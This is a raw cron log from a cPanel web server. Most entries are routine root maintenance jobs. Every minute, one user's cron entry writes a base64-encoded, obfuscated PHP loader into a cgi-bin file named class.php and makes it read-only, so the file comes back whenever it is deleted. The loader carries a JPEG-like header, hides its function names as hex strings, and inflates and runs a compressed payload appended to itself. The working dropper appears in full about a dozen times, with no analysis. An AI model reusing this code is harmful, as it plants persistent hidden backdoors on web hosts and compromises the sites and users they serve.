Sep  2 13:20:01 server CROND[15326]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 13:20:01 server CROND[15339]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:20:01 server CROND[15343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:20:01 server CROND[15340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:20:01 server CROND[15344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:20:01 server CROND[15342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:21:01 server CROND[16258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:21:01 server CROND[16260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:21:01 server CROND[16261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:22:01 server CROND[16644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:22:01 server CROND[16645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:22:01 server CROND[16647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:23:01 server CROND[17038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:23:01 server CROND[17040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:23:01 server CROND[17041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:24:01 server CROND[17426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:24:01 server CROND[17428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:24:01 server CROND[17427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:25:01 server CROND[17833]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 13:25:01 server CROND[17841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:25:01 server CROND[17847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:25:01 server CROND[17849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:25:01 server CROND[17846]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:25:01 server CROND[17853]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 13:25:01 server CROND[17852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:26:01 server CROND[18768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:26:01 server CROND[18769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:26:01 server CROND[18770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:27:01 server CROND[19185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:27:01 server CROND[19186]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 13:27:01 server CROND[19184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:27:01 server CROND[19187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:28:01 server CROND[19636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:28:01 server CROND[19637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:28:01 server CROND[19635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:29:01 server CROND[20009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:29:01 server CROND[20010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:29:01 server CROND[20011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:30:01 server CROND[20401]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 13:30:01 server CROND[20403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:30:01 server CROND[20409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:30:01 server CROND[20410]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:30:01 server CROND[20413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:30:01 server CROND[20411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:30:01 server CROND[20414]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 13:30:01 server CROND[20412]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 13:31:01 server CROND[21346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:31:01 server CROND[21345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:31:01 server CROND[21347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
